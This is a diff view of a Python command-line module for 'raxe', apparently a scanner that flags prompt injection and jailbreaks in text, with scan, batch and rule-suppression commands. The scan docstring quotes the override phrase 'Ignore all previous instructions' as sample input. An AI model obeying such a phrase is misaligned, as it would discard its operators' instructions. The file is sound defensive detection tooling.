next_steps.append(" Read the documentation", style="dim")
|
|
224
|
+
|
|
225
|
+
console.print(Panel(next_steps, title="[bold cyan]Next Steps[/bold cyan]", border_style="cyan", padding=(1, 2)))
|
|
226
|
+
console.print()
|
|
227
|
+
|
|
228
|
+
|
|
229
|
+
@cli.command()
|
|
230
|
+
@handle_cli_error
|
|
231
|
+
def setup():
|
|
232
|
+
"""Interactive setup wizard for first-time users.
|
|
233
|
+
|
|
234
|
+
Provides a friendly, guided setup experience that walks you through:
|
|
235
|
+
- API key configuration (or temp key auto-generation)
|
|
236
|
+
- Detection settings (L2 ML detection, telemetry)
|
|
237
|
+
- Shell completion installation
|
|
238
|
+
- Configuration file creation
|
|
239
|
+
- Test scan verification
|
|
240
|
+
|
|
241
|
+
\b
|
|
242
|
+
Examples:
|
|
243
|
+
raxe setup
|
|
244
|
+
"""
|
|
245
|
+
from raxe.cli.setup_wizard import run_setup_wizard
|
|
246
|
+
|
|
247
|
+
success = run_setup_wizard(console)
|
|
248
|
+
|
|
249
|
+
if not success:
|
|
250
|
+
sys.exit(1)
|
|
251
|
+
|
|
252
|
+
|
|
253
|
+
def parse_suppress_pattern(pattern: str) -> tuple[str, str]:
|
|
254
|
+
"""Parse suppress pattern with optional action override.
|
|
255
|
+
|
|
256
|
+
Formats:
|
|
257
|
+
pi-001 -> (pi-001, SUPPRESS)
|
|
258
|
+
pi-001:FLAG -> (pi-001, FLAG)
|
|
259
|
+
pi-001:LOG -> (pi-001, LOG)
|
|
260
|
+
jb-* -> (jb-*, SUPPRESS)
|
|
261
|
+
jb-*:FLAG -> (jb-*, FLAG)
|
|
262
|
+
|
|
263
|
+
Args:
|
|
264
|
+
pattern: Pattern string, optionally with :ACTION suffix
|
|
265
|
+
|
|
266
|
+
Returns:
|
|
267
|
+
Tuple of (rule_pattern, action)
|
|
268
|
+
|
|
269
|
+
Raises:
|
|
270
|
+
click.BadParameter: If action is invalid
|
|
271
|
+
"""
|
|
272
|
+
if ":" in pattern:
|
|
273
|
+
parts = pattern.rsplit(":", 1)
|
|
274
|
+
rule_pattern = parts[0]
|
|
275
|
+
action = parts[1].upper()
|
|
276
|
+
if action not in ("SUPPRESS", "FLAG", "LOG"):
|
|
277
|
+
raise click.BadParameter(
|
|
278
|
+
f"Invalid action '{action}'. Valid actions: SUPPRESS, FLAG, LOG"
|
|
279
|
+
)
|
|
280
|
+
return rule_pattern, action
|
|
281
|
+
return pattern, "SUPPRESS"
|
|
282
|
+
|
|
283
|
+
|
|
284
|
+
@cli.command()
|
|
285
|
+
@click.argument("text", required=False)
|
|
286
|
+
@click.option(
|
|
287
|
+
"--stdin",
|
|
288
|
+
is_flag=True,
|
|
289
|
+
help="Read text from stdin instead of argument",
|
|
290
|
+
)
|
|
291
|
+
@click.option(
|
|
292
|
+
"--format",
|
|
293
|
+
type=click.Choice(["text", "json", "yaml", "table"]),
|
|
294
|
+
default="text",
|
|
295
|
+
help="Output format (default: text)",
|
|
296
|
+
)
|
|
297
|
+
@click.option(
|
|
298
|
+
"--ci",
|
|
299
|
+
is_flag=True,
|
|
300
|
+
help="CI/CD mode: JSON output, no banner, exit code 1 on threats",
|
|
301
|
+
envvar="RAXE_CI",
|
|
302
|
+
)
|
|
303
|
+
@click.option(
|
|
304
|
+
"--profile",
|
|
305
|
+
is_flag=True,
|
|
306
|
+
help="Enable performance profiling",
|
|
307
|
+
)
|
|
308
|
+
@click.option(
|
|
309
|
+
"--l1-only",
|
|
310
|
+
is_flag=True,
|
|
311
|
+
help="Use L1 (regex) detection only",
|
|
312
|
+
)
|
|
313
|
+
@click.option(
|
|
314
|
+
"--l2-only",
|
|
315
|
+
is_flag=True,
|
|
316
|
+
help="Use L2 (ML) detection only",
|
|
317
|
+
)
|
|
318
|
+
@click.option(
|
|
319
|
+
"--mode",
|
|
320
|
+
type=click.Choice(["fast", "balanced", "thorough"]),
|
|
321
|
+
default="balanced",
|
|
322
|
+
help="Performance mode (default: balanced)",
|
|
323
|
+
)
|
|
324
|
+
@click.option(
|
|
325
|
+
"--confidence",
|
|
326
|
+
type=float,
|
|
327
|
+
help="Minimum confidence threshold (0.0-1.0)",
|
|
328
|
+
)
|
|
329
|
+
@click.option(
|
|
330
|
+
"--explain",
|
|
331
|
+
is_flag=True,
|
|
332
|
+
help="Show detailed explanation of detections",
|
|
333
|
+
)
|
|
334
|
+
@click.option(
|
|
335
|
+
"--dry-run",
|
|
336
|
+
is_flag=True,
|
|
337
|
+
help="Test scan without saving to database",
|
|
338
|
+
)
|
|
339
|
+
@click.option(
|
|
340
|
+
"--suppress",
|
|
341
|
+
"suppress_patterns",
|
|
342
|
+
multiple=True,
|
|
343
|
+
help="Suppress rule(s) for this scan. Supports wildcards and action override (e.g., pi-001, jb-*, pi-001:FLAG)",
|
|
344
|
+
)
|
|
345
|
+
@click.pass_context
|
|
346
|
+
def scan(
|
|
347
|
+
ctx,
|
|
348
|
+
text: str | None,
|
|
349
|
+
stdin: bool,
|
|
350
|
+
format: str,
|
|
351
|
+
ci: bool,
|
|
352
|
+
profile: bool,
|
|
353
|
+
l1_only: bool,
|
|
354
|
+
l2_only: bool,
|
|
355
|
+
mode: str,
|
|
356
|
+
confidence: float | None,
|
|
357
|
+
explain: bool,
|
|
358
|
+
dry_run: bool,
|
|
359
|
+
suppress_patterns: tuple[str, ...],
|
|
360
|
+
):
|
|
361
|
+
"""
|
|
362
|
+
Scan text for security threats.
|
|
363
|
+
|
|
364
|
+
\b
|
|
365
|
+
Examples:
|
|
366
|
+
raxe scan "Ignore all previous instructions"
|
|
367
|
+
echo "test" | raxe scan --stdin
|
|
368
|
+
raxe scan "prompt" --format json
|
|
369
|
+
raxe scan "text" --l1-only --mode fast
|
|
370
|
+
raxe scan "text" --confidence 0.8 --explain
|
|
371
|
+
raxe scan "text" --ci # CI/CD mode (JSON, exit 1 on threats)
|
|
372
|
+
raxe --quiet scan "text" # Same as --ci
|
|
373
|
+
|
|
374
|
+
\b
|
|
375
|
+
Suppression Examples:
|
|
376
|
+
raxe scan "text" --suppress pi-001 # Suppress single rule
|
|
377
|
+
raxe scan "text" --suppress pi-001 --suppress jb-* # Multiple suppressions
|
|
378
|
+
raxe scan "text" --suppress "pi-001:FLAG" # Flag instead of suppress
|
|
379
|
+
|
|
380
|
+
\b
|
|
381
|
+
Exit Codes (for CI/CD integration):
|
|
382
|
+
0 Success - scan completed, no threats detected
|
|
383
|
+
1 Threat detected (with --ci or --quiet mode)
|
|
384
|
+
2 Invalid input - no text provided or bad arguments
|
|
385
|
+
3 Configuration error - RAXE not initialized
|
|
386
|
+
4 Scan error - execution failed
|
|
387
|
+
"""
|
|
388
|
+
# Check if CI or quiet mode is enabled
|
|
389
|
+
# --ci flag is an explicit alias for CI/CD mode (same as --quiet)
|
|
390
|
+
quiet = ctx.obj.get("quiet", False) or ci
|
|
391
|
+
verbose = ctx.obj.get("verbose", False) and not ci # CI mode overrides verbose
|
|
392
|
+
no_color = ctx.obj.get("no_color", False) or ci # CI mode implies no color
|
|
393
|
+
|
|
394
|
+
# Auto-enable quiet mode for JSON/YAML formats to prevent progress contamination
|
|
395
|
+
if format in ("json", "yaml"):
|
|
396
|
+
quiet = True
|
|
397
|
+
|
|
398
|
+
# Override format to JSON if quiet mode
|
|
399
|
+
if quiet and format == "text":
|
|
400
|
+
format = "json"
|
|
401
|
+
|
|
402
|
+
# Show compact logo (for visual consistency)
|
|
403
|
+
from raxe.cli.branding import print_logo
|
|
404
|
+
if format == "text" and not quiet: # Only show for text output when not quiet
|
|
405
|
+
print_logo(console, compact=True)
|
|
406
|
+
console.print()
|
|
407
|
+
# Check and display API key expiry warning if applicable
|
|
408
|
+
check_and_display_expiry_warning(console)
|
|
409
|
+
|
|
410
|
+
# Get text from argument or stdin
|
|
411
|
+
if stdin:
|
|
412
|
+
text = sys.stdin.read()
|
|
413
|
+
elif not text:
|
|
414
|
+
display_error("No text provided", "Provide text as argument or use --stdin")
|
|
415
|
+
sys.exit(EXIT_INVALID_INPUT)
|
|
416
|
+
|
|
417
|
+
# Setup progress indicator
|
|
418
|
+
from raxe.cli.progress import create_progress_indicator
|
|
419
|
+
from raxe.cli.progress_context import detect_progress_mode
|
|
420
|
+
|
|
421
|
+
progress_mode = detect_progress_mode(
|
|
422
|
+
quiet=quiet,
|
|
423
|
+
verbose=verbose,
|
|
424
|
+
no_color=no_color
|
|
425
|
+
)
|
|
426
|
+
|
|
427
|
+
progress = create_progress_indicator(progress_mode)
|
|
428
|
+
|
|
429
|
+
# Create Raxe client (uses config if available)
|
|
430
|
+
try:
|
|
431
|
+
raxe = Raxe(progress_callback=progress)
|
|
432
|
+
except Exception as e:
|
|
433
|
+
display_error("Failed to initialize RAXE", str(e))
|
|
434
|
+
console.print("Try running: [cyan]raxe init[/cyan]")
|
|
435
|
+
sys.exit(EXIT_CONFIG_ERROR)
|
|
436
|
+
|
|
437
|
+
# Add CLI-specified suppressions (temporary, for this scan only)
|
|
438
|
+
cli_suppressions: list[tuple[str, str]] = [] # (pattern, action) tuples
|
|
439
|
+
if suppress_patterns:
|
|
440
|
+
from raxe.domain.suppression import Suppression, SuppressionAction, SuppressionValidationError
|
|
441
|
+
|
|
442
|
+
for pattern_str in suppress_patterns:
|
|
443
|
+
try:
|
|
444
|
+
rule_pattern, action_str = parse_suppress_pattern(pattern_str)
|
|
445
|
+
action = SuppressionAction(action_str)
|
|
446
|
+
|
|
447
|
+
# Add to suppression manager (temporary, runtime only)
|
|
448
|
+
raxe.suppression_manager.add_suppression(
|
|
449
|
+
pattern=rule_pattern,
|
|
450
|
+
reason="CLI --suppress flag",
|
|
451
|
+
action=action,
|
|
452
|
+
created_by="cli",
|
|
453
|
+
log_to_audit=False, # Don't log temporary suppressions
|
|
454
|
+
)
|
|
455
|
+
cli_suppressions.append((rule_pattern, action_str))
|
|
456
|
+
except SuppressionValidationError as e:
|
|
457
|
+
display_error(
|
|
458
|
+
f"Invalid suppression pattern: {pattern_str}",
|
|
459
|
+
f"{e}\n\nValid pattern examples:\n"
|
|
460
|
+
" pi-001 - Suppress specific rule\n"
|
|
461
|
+
" pi-* - Suppress all prompt injection rules\n"
|
|
462
|
+
" jb-*:FLAG - Flag jailbreak rules for review\n"
|
|
463
|
+
)
|
|
464
|
+
sys.exit(EXIT_INVALID_INPUT)
|
|
465
|
+
except click.BadParameter as e:
|
|
466
|
+
display_error(f"Invalid suppression pattern: {pattern_str}", str(e))
|
|
467
|
+
sys.exit(EXIT_INVALID_INPUT)
|
|
468
|
+
|
|
469
|
+
# Scan using unified client
|
|
470
|
+
# Wire all CLI flags to scan parameters
|
|
471
|
+
try:
|
|
472
|
+
if profile:
|
|
473
|
+
# Import profiler here to avoid circular dependency
|
|
474
|
+
try:
|
|
475
|
+
from raxe.monitoring.profiler import PerformanceProfiler
|
|
476
|
+
|
|
477
|
+
profiler = PerformanceProfiler()
|
|
478
|
+
prof_result = profiler.profile_scan(text, iterations=1)
|
|
479
|
+
result = raxe.scan(
|
|
480
|
+
text,
|
|
481
|
+
l1_enabled=not l2_only,
|
|
482
|
+
l2_enabled=not l1_only,
|
|
483
|
+
mode=mode,
|
|
484
|
+
confidence_threshold=confidence if confidence else 0.5,
|
|
485
|
+
explain=explain,
|
|
486
|
+
dry_run=dry_run,
|
|
487
|
+
entry_point="cli",
|
|
488
|
+
)
|
|
489
|
+
|
|
490
|
+
# Show scan result first
|
|
491
|
+
if format == "text":
|
|
492
|
+
no_color = ctx.obj.get("no_color", False)
|
|
493
|
+
display_scan_result(result, no_color=no_color, explain=explain)
|
|
494
|
+
|
|
495
|
+
# Then show profile
|
|
496
|
+
click.echo()
|
|
497
|
+
click.secho("=" * 60, fg="cyan")
|
|
498
|
+
click.secho("Performance Profile", fg="cyan", bold=True)
|
|
499
|
+
click.secho("=" * 60, fg="cyan")
|
|
500
|
+
click.echo(prof_result.stats_report)
|
|
501
|
+
else:
|
|
502
|
+
# For JSON/YAML, just show result (profile would clutter output)
|
|
503
|
+
result = raxe.scan(
|
|
504
|
+
text,
|
|
505
|
+
l1_enabled=not l2_only,
|
|
506
|
+
l2_enabled=not l1_only,
|
|
507
|
+
mode=mode,
|
|
508
|
+
confidence_threshold=confidence if confidence else 0.5,
|
|
509
|
+
explain=explain,
|
|
510
|
+
dry_run=dry_run,
|
|
511
|
+
entry_point="cli",
|
|
512
|
+
)
|
|
513
|
+
except ImportError:
|
|
514
|
+
console.print("[yellow]Warning: Profiling not available[/yellow]")
|
|
515
|
+
result = raxe.scan(
|
|
516
|
+
text,
|
|
517
|
+
l1_enabled=not l2_only,
|
|
518
|
+
l2_enabled=not l1_only,
|
|
519
|
+
mode=mode,
|
|
520
|
+
confidence_threshold=confidence if confidence else 0.5,
|
|
521
|
+
explain=explain,
|
|
522
|
+
dry_run=dry_run,
|
|
523
|
+
entry_point="cli",
|
|
524
|
+
)
|
|
525
|
+
else:
|
|
526
|
+
result = raxe.scan(
|
|
527
|
+
text,
|
|
528
|
+
l1_enabled=not l2_only,
|
|
529
|
+
l2_enabled=not l1_only,
|
|
530
|
+
mode=mode,
|
|
531
|
+
confidence_threshold=confidence if confidence else 0.5,
|
|
532
|
+
explain=explain,
|
|
533
|
+
dry_run=dry_run,
|
|
534
|
+
entry_point="cli",
|
|
535
|
+
)
|
|
536
|
+
except Exception as e:
|
|
537
|
+
display_error("Scan execution failed", str(e))
|
|
538
|
+
sys.exit(EXIT_SCAN_ERROR)
|
|
539
|
+
|
|
540
|
+
# Output based on format
|
|
541
|
+
if format == "json" and not profile:
|
|
542
|
+
# Collect L1 detections
|
|
543
|
+
l1_detections = []
|
|
544
|
+
for d in result.scan_result.l1_result.detections:
|
|
545
|
+
detection_dict = {
|
|
546
|
+
"rule_id": d.rule_id,
|
|
547
|
+
"severity": d.severity.value,
|
|
548
|
+
"confidence": d.confidence,
|
|
549
|
+
"layer": "L1",
|
|
550
|
+
"message": getattr(d, "message", ""),
|
|
551
|
+
}
|
|
552
|
+
# Include flag status if flagged
|
|
553
|
+
if getattr(d, "is_flagged", False):
|
|
554
|
+
detection_dict["is_flagged"] = True
|
|
555
|
+
if getattr(d, "suppression_reason", None):
|
|
556
|
+
detection_dict["flag_reason"] = d.suppression_reason
|
|
557
|
+
l1_detections.append(detection_dict)
|
|
558
|
+
|
|
559
|
+
# Collect L2 predictions
|
|
560
|
+
l2_detections = []
|
|
561
|
+
if result.scan_result.l2_result and result.scan_result.l2_result.has_predictions:
|
|
562
|
+
for p in result.scan_result.l2_result.predictions:
|
|
563
|
+
# Map confidence to severity
|
|
564
|
+
if p.confidence >= 0.8:
|
|
565
|
+
severity = "high"
|
|
566
|
+
elif p.confidence >= 0.6:
|
|
567
|
+
severity = "medium"
|
|
568
|
+
else:
|
|
569
|
+
severity = "low"
|
|
570
|
+
|
|
571
|
+
# Extract family/subfamily from bundle metadata if available
|
|
572
|
+
family = p.metadata.get("family")
|
|
573
|
+
sub_family = p.metadata.get("sub_family")
|
|
574
|
+
scores = p.metadata.get("scores", {})
|
|
575
|
+
why_it_hit = p.metadata.get("why_it_hit", [])
|
|
576
|
+
recommended_action = p.metadata.get("recommended_action", [])
|
|
577
|
+
|
|
578
|
+
detection = {
|
|
579
|
+
"rule_id": f"L2-{p.threat_type.value}",
|
|
580
|
+
"severity": severity,
|
|
581
|
+
"confidence": p.confidence,
|
|
582
|
+
"layer": "L2",
|
|
583
|
+
"message": p.explanation or f"{p.threat_type.value} detected",
|
|
584
|
+
}
|
|
585
|
+
|
|
586
|
+
# Add ML model metadata fields if available
|
|
587
|
+
if family:
|
|
588
|
+
detection["family"] = family
|
|
589
|
+
if sub_family:
|
|
590
|
+
detection["sub_family"] = sub_family
|
|
591
|
+
if scores:
|
|
592
|
+
detection["scores"] = scores
|
|
593
|
+
if why_it_hit:
|
|
594
|
+
detection["why_it_hit"] = why_it_hit
|
|
595
|
+
if recommended_action:
|
|
596
|
+
detection["recommended_action"] = recommended_action
|
|
597
|
+
|
|
598
|
+
l2_detections.append(detection)
|
|
599
|
+
|
|
600
|
+
output = {
|
|
601
|
+
"has_detections": result.scan_result.has_threats,
|
|
602
|
+
"detections": l1_detections + l2_detections,
|
|
603
|
+
"duration_ms": result.duration_ms,
|
|
604
|
+
"l1_count": len(l1_detections),
|
|
605
|
+
"l2_count": len(l2_detections),
|
|
606
|
+
}
|
|
607
|
+
click.echo(json.dumps(output, indent=2))
|
|
608
|
+
|
|
609
|
+
elif format == "yaml" and not profile:
|
|
610
|
+
try:
|
|
611
|
+
import yaml
|
|
612
|
+
|
|
613
|
+
# Collect L1 detections
|
|
614
|
+
l1_detections = []
|
|
615
|
+
for d in result.scan_result.l1_result.detections:
|
|
616
|
+
detection_dict = {
|
|
617
|
+
"rule_id": d.rule_id,
|
|
618
|
+
"severity": d.severity.value,
|
|
619
|
+
"confidence": d.confidence,
|
|
620
|
+
"layer": "L1",
|
|
621
|
+
"message": getattr(d, "message", ""),
|
|
622
|
+
}
|
|
623
|
+
# Include flag status if flagged
|
|
624
|
+
if getattr(d, "is_flagged", False):
|
|
625
|
+
detection_dict["is_flagged"] = True
|
|
626
|
+
if getattr(d, "suppression_reason", None):
|
|
627
|
+
detection_dict["flag_reason"] = d.suppression_reason
|
|
628
|
+
l1_detections.append(detection_dict)
|
|
629
|
+
|
|
630
|
+
# Collect L2 predictions
|
|
631
|
+
l2_detections = []
|
|
632
|
+
if result.scan_result.l2_result and result.scan_result.l2_result.has_predictions:
|
|
633
|
+
for p in result.scan_result.l2_result.predictions:
|
|
634
|
+
# Map confidence to severity
|
|
635
|
+
if p.confidence >= 0.8:
|
|
636
|
+
severity = "high"
|
|
637
|
+
elif p.confidence >= 0.6:
|
|
638
|
+
severity = "medium"
|
|
639
|
+
else:
|
|
640
|
+
severity = "low"
|
|
641
|
+
|
|
642
|
+
l2_detections.append({
|
|
643
|
+
"rule_id": f"L2-{p.threat_type.value}",
|
|
644
|
+
"severity": severity,
|
|
645
|
+
"confidence": p.confidence,
|
|
646
|
+
"layer": "L2",
|
|
647
|
+
"message": p.explanation or f"{p.threat_type.value} detected",
|
|
648
|
+
})
|
|
649
|
+
|
|
650
|
+
output = {
|
|
651
|
+
"has_detections": result.scan_result.has_threats,
|
|
652
|
+
"detections": l1_detections + l2_detections,
|
|
653
|
+
"duration_ms": result.duration_ms,
|
|
654
|
+
"l1_count": len(l1_detections),
|
|
655
|
+
"l2_count": len(l2_detections),
|
|
656
|
+
}
|
|
657
|
+
click.echo(yaml.dump(output))
|
|
658
|
+
except ImportError:
|
|
659
|
+
display_error("PyYAML not installed", "Use --format json instead")
|
|
660
|
+
sys.exit(EXIT_CONFIG_ERROR)
|
|
661
|
+
|
|
662
|
+
elif format == "text" and not profile:
|
|
663
|
+
# Use rich output
|
|
664
|
+
no_color = ctx.obj.get("no_color", False)
|
|
665
|
+
display_scan_result(result, no_color=no_color, explain=explain)
|
|
666
|
+
|
|
667
|
+
# Show dry-run feedback after displaying result (unless quiet)
|
|
668
|
+
if dry_run and not quiet:
|
|
669
|
+
console.print()
|
|
670
|
+
console.print("[yellow] Dry run mode: Results not saved to database[/yellow]")
|
|
671
|
+
console.print()
|
|
672
|
+
|
|
673
|
+
# Auto-flush telemetry at end of scan using unified helper
|
|
674
|
+
# This ends the session and flushes all queued events
|
|
675
|
+
try:
|
|
676
|
+
from raxe.infrastructure.telemetry.flush_helper import ensure_telemetry_flushed
|
|
677
|
+
|
|
678
|
+
ensure_telemetry_flushed(timeout_seconds=2.0, end_session=True)
|
|
679
|
+
except Exception:
|
|
680
|
+
pass # Never let telemetry affect scan completion
|
|
681
|
+
|
|
682
|
+
# Exit with appropriate code for CI/CD (quiet mode)
|
|
683
|
+
if quiet and result.scan_result.has_threats:
|
|
684
|
+
sys.exit(EXIT_THREAT_DETECTED)
|
|
685
|
+
|
|
686
|
+
|
|
687
|
+
@cli.command("batch")
|
|
688
|
+
@click.argument("file", type=click.Path(exists=True))
|
|
689
|
+
@click.option(
|
|
690
|
+
"--format", "output_format",
|
|
691
|
+
type=click.Choice(["text", "json", "csv"]),
|
|
692
|
+
default="text",
|
|
693
|
+
help="Output format (default: text)",
|
|
694
|
+
)
|
|
695
|
+
@click.option(
|
|
696
|
+
"--output",
|
|
697
|
+
type=click.Path(),
|
|
698
|
+
help="Output file for results (default: stdout)",
|
|
699
|
+
)
|
|
700
|
+
@click.option(
|
|
701
|
+
"--fail-fast",
|
|
702
|
+
is_flag=True,
|
|
703
|
+
help="Stop on first critical threat",
|
|
704
|
+
)
|
|
705
|
+
@handle_cli_error
|
|
706
|
+
def batch_scan(file: str, output_format: str, output: str | None, fail_fast: bool) -> None:
|
|
707
|
+
"""
|
|
708
|
+
Batch scan prompts from a file.
|
|
709
|
+
|
|
710
|
+
Reads prompts from a file (one per line) and scans each.
|
|
711
|
+
|
|
712
|
+
\b
|
|
713
|
+
Examples:
|
|
714
|
+
raxe batch prompts.txt
|
|
715
|
+
raxe batch prompts.txt --format json --output results.json
|
|
716
|
+
raxe batch prompts.txt --fail-fast
|
|
717
|
+
"""
|
|
718
|
+
import csv as csv_module
|
|
719
|
+
from pathlib import Path
|
|
720
|
+
|
|
721
|
+
from raxe.cli.branding import print_logo
|
|
722
|
+
|
|
723
|
+
# Show compact logo for text output
|
|
724
|
+
if output_format == "text":
|
|
725
|
+
print_logo(console, compact=True)
|
|
726
|
+
console.print()
|
|
727
|
+
# Check and display API key expiry warning if applicable
|
|
728
|
+
check_and_display_expiry_warning(console)
|
|
729
|
+
|
|
730
|
+
try:
|
|
731
|
+
raxe = Raxe()
|
|
732
|
+
except Exception as e:
|
|
733
|
+
display_error("Failed to initialize RAXE", str(e))
|
|
734
|
+
console.print("Try running: [cyan]raxe init[/cyan]")
|
|
735
|
+
sys.exit(EXIT_CONFIG_ERROR)
|
|
736
|
+
|
|
737
|
+
# Read prompts from file
|
|
738
|
+
# Supports both plain text (one prompt per line) and JSON format
|
|
739
|
+
# JSON format: {"id": "...", "prompt": "...", ...} - extracts "prompt" field
|
|
740
|
+
import json as json_module
|
|
741
|
+
|
|
742
|
+
def extract_prompt(line: str) -> str:
|
|
743
|
+
"""Extract prompt from line, handling JSON if present."""
|
|
744
|
+
line = line.strip()
|
|
745
|
+
if not line:
|
|
746
|
+
return ""
|
|
747
|
+
# Try to parse as JSON and extract "prompt" field
|
|
748
|
+
if line.startswith("{"):
|
|
749
|
+
try:
|
|
750
|
+
data = json_module.loads(line)
|
|
751
|
+
if isinstance(data, dict) and "prompt" in data:
|
|
752
|
+
return str(data["prompt"])
|
|
753
|
+
except json_module.JSONDecodeError:
|
|
754
|
+
pass # Not valid JSON, use line as-is
|
|
755
|
+
return line
|
|
756
|
+
|
|
757
|
+
try:
|
|
758
|
+
with open(file) as f:
|
|
759
|
+
prompts = [extract_prompt(line) for line in f]
|
|
760
|
+
prompts = [p for p in prompts if p] # Filter empty
|
|
761
|
+
except Exception as e:
|
|
762
|
+
display_error("Failed to read input file", str(e))
|
|
763
|
+
sys.exit(EXIT_INVALID_INPUT)
|
|
764
|
+
|
|
765
|
+
if not prompts:
|
|
766
|
+
console.print("[yellow]No prompts found in file[/yellow]")
|
|
767
|
+
return
|
|
768
|
+
|
|
769
|
+
console.print(f"[cyan]Batch scanning {len(prompts)} prompts...[/cyan]")
|
|
770
|
+
console.print()
|
|
771
|
+
|
|
772
|
+
# Scan all prompts
|
|
773
|
+
results = []
|
|
774
|
+
threats_found = 0
|
|
775
|
+
critical_found = False
|
|
776
|
+
|
|
777
|
+
from raxe.cli.output import create_progress_bar
|
|
778
|
+
|
|
779
|
+
with create_progress_bar("Scanning...") as progress:
|
|
780
|
+
task = progress.add_task("Processing...", total=len(prompts))
|
|
781
|
+
|
|
782
|
+
for i, prompt in enumerate(prompts):
|
|
783
|
+
try:
|
|
784
|
+
result = raxe.scan(prompt)
|
|
785
|
+
results.append({
|
|
786
|
+
"line": i + 1,
|
|
787
|
+
"prompt": prompt[:50] + "..." if len(prompt) > 50 else prompt,
|
|
788
|
+
"has_threats": result.scan_result.has_threats,
|
|
789
|
+
"detection_count": len(result.scan_result.l1_result.detections),
|
|
790
|
+
"highest_severity": result.scan_result.combined_severity.value if result.scan_result.has_threats else "none",
|
|
791
|
+
"duration_ms": result.duration_ms,
|
|
792
|
+
"detections": [
|
|
793
|
+
{
|
|
794
|
+
"rule_id": d.rule_id,
|
|
795
|
+
"severity": d.severity.value,
|
|
796
|
+
"confidence": d.confidence,
|
|
797
|
+
}
|
|
798
|
+
for d in result.scan_result.l1_result.detections
|
|
799
|
+
],
|
|
800
|
+
})
|
|
801
|
+
|
|
802
|
+
if result.scan_result.has_threats:
|
|
803
|
+
threats_found += 1
|
|
804
|
+
if result.scan_result.combined_severity.value == "critical":
|
|
805
|
+
critical_found = True
|
|
806
|
+
if fail_fast:
|
|
807
|
+
console.print()
|
|
808
|
+
console.print(f"[red bold]Critical threat found at line {i+1}. Stopping.[/red bold]")
|
|
809
|
+
break
|
|
810
|
+
|
|
811
|
+
progress.update(task, completed=i + 1)
|
|
812
|
+
|
|
813
|
+
except Exception as e:
|
|
814
|
+
console.print()
|
|
815
|
+
display_error(f"Error scanning line {i+1}", str(e))
|
|
816
|
+
if fail_fast:
|
|
817
|
+
break
|
|
818
|
+
|
|
819
|
+
console.print()
|
|
820
|
+
|
|
821
|
+
# Output results
|
|
822
|
+
if output_format == "json":
|
|
823
|
+
import json
|
|
824
|
+
output_data = {
|
|
825
|
+
"total_scanned": len(results),
|
|
826
|
+
"threats_found": threats_found,
|
|
827
|
+
"results": results,
|
|
828
|
+
}
|
|
829
|
+
|
|
830
|
+
if output:
|
|
831
|
+
Path(output).write_text(json.dumps(output_data, indent=2))
|
|
832
|
+
display_success(f"Results written to {output}")
|
|
833
|
+
else:
|
|
834
|
+
console.print(json.dumps(output_data, indent=2))
|
|
835
|
+
|
|
836
|
+
elif output_format == "csv":
|
|
837
|
+
if not output:
|
|
838
|
+
display_error("CSV format requires --output option", "Specify output file with --output")
|
|
839
|
+
sys.exit(EXIT_INVALID_INPUT)
|
|
840
|
+
|
|
841
|
+
with open(output, "w", newline="") as f:
|
|
842
|
+
writer = csv_module.DictWriter(
|
|
843
|
+
f,
|
|
844
|
+
fieldnames=["line", "prompt", "has_threats", "detection_count", "highest_severity", "duration_ms"]
|
|
845
|
+
)
|
|
846
|
+
writer.writeheader()
|
|
847
|
+
for result in results:
|
|
848
|
+
writer.writerow({
|
|
849
|
+
"line": result["line"],
|
|
850
|
+
"prompt": result["prompt"],
|
|
851
|
+
"has_threats": result["has_threats"],
|
|
852
|
+
"detection_count": result["detection_count"],
|
|
853
|
+
"highest_severity": result["highest_severity"],
|
|
854
|
+
"duration_ms": result["duration_ms"],
|
|
855
|
+
})
|
|
856
|
+
|
|
857
|
+
display_success(f"Results written to {output}")
|
|
858
|
+
|
|
859
|
+
else: # text format
|
|
860
|
+
# Display summary
|
|
861
|
+
from rich.table import Table
|
|
862
|
+
|
|
863
|
+
table = Table(title="Batch Scan Results", show_header=True, header_style="bold cyan")
|
|
864
|
+
table.add_column("Line", justify="right", style="cyan", no_wrap=True)
|
|
865
|
+
table.add_column("Prompt", style="white")
|
|
866
|
+
table.add_column("Status", style="bold", no_wrap=True)
|
|
867
|
+
table.add_column("Detections", justify="right", no_wrap=True)
|
|
868
|
+
table.add_column("Time", justify="right", no_wrap=True)
|
|
869
|
+
|
|
870
|
+
for result in results:
|
|
871
|
+
if result["has_threats"]:
|
|
872
|
+
status = "[red]THREAT[/red]"
|
|
873
|
+
else:
|
|
874
|
+
status = "[green]SAFE[/green]"
|
|
875
|
+
|
|
876
|
+
table.add_row(
|
|
877
|
+
str(result["line"]),
|
|
878
|
+
result["prompt"],
|
|
879
|
+
status,
|
|
880
|
+
str(result["detection_count"]),
|
|
881
|
+
f"{result['duration_ms']:.1f}ms",
|
|
882
|
+
)
|
|
883
|
+
|
|
884
|
+
console.print(table)
|
|
885
|
+
console.print()
|
|
886
|
+
|
|
887
|
+
# Summary
|
|
888
|
+
console.print("[bold]Summary[/bold]")
|
|
889
|
+
console.print(f" Total scanned: {len(results)}")
|
|
890
|
+
console.print(f" Threats found: {threats_found}")
|
|
891
|
+
console.print(f" Clean scans: {len(results) - threats_found}")
|
|
892
|
+
|
|
893
|
+
if critical_found:
|
|
894
|
+
console.print(" [red bold]Critical threats detected![/red bold]")
|
|
895
|
+
|
|
896
|
+
console.print()
|
|
897
|
+
|
|
898
|
+
# Auto-flush telemetry at end of batch scan
|
|
899
|
+
# Use generous timeout and batches for batch operations (many events)
|
|
900
|
+
# Each HTTP batch takes ~0.5-1s, so 1000 prompts needs ~40s+ for full flush
|
|
901
|
+
try:
|
|
902
|
+
from raxe.infrastructure.telemetry.flush_helper import ensure_telemetry_flushed
|
|
903
|
+
|
|
904
|
+
# Calculate appropriate timeout based on number of prompts
|
|
905
|
+
# ~0.05s per prompt accounts for HTTP latency, capped at 120s
|
|
906
|
+
timeout = min(5.0 + len(prompts) * 0.05, 120.0)
|
|
907
|
+
# Allow 2x batches to handle both critical and standard queues
|
|
908
|
+
# Each queue might have up to len(prompts) events
|
|
909
|
+
max_batches = max(20, (len(prompts) // 50 + 1) * 2)
|
|
910
|
+
|
|
911
|
+
ensure_telemetry_flushed(
|
|
912
|
+
timeout_seconds=timeout,
|
|
913
|
+
max_batches=max_batches,
|
|
914
|
+
end_session=True,
|
|
915
|
+
)
|
|
916
|
+
except Exception:
|
|
917
|
+
pass # Never let telemetry affect batch completion
|
|
918
|
+
|
|
919
|
+
|
|
920
|
+
@cli.group()
|
|
921
|
+
def pack():
|
|
922
|
+
"""Manage rule packs."""
|
|
923
|
+
pass
|
|
924
|
+
|
|
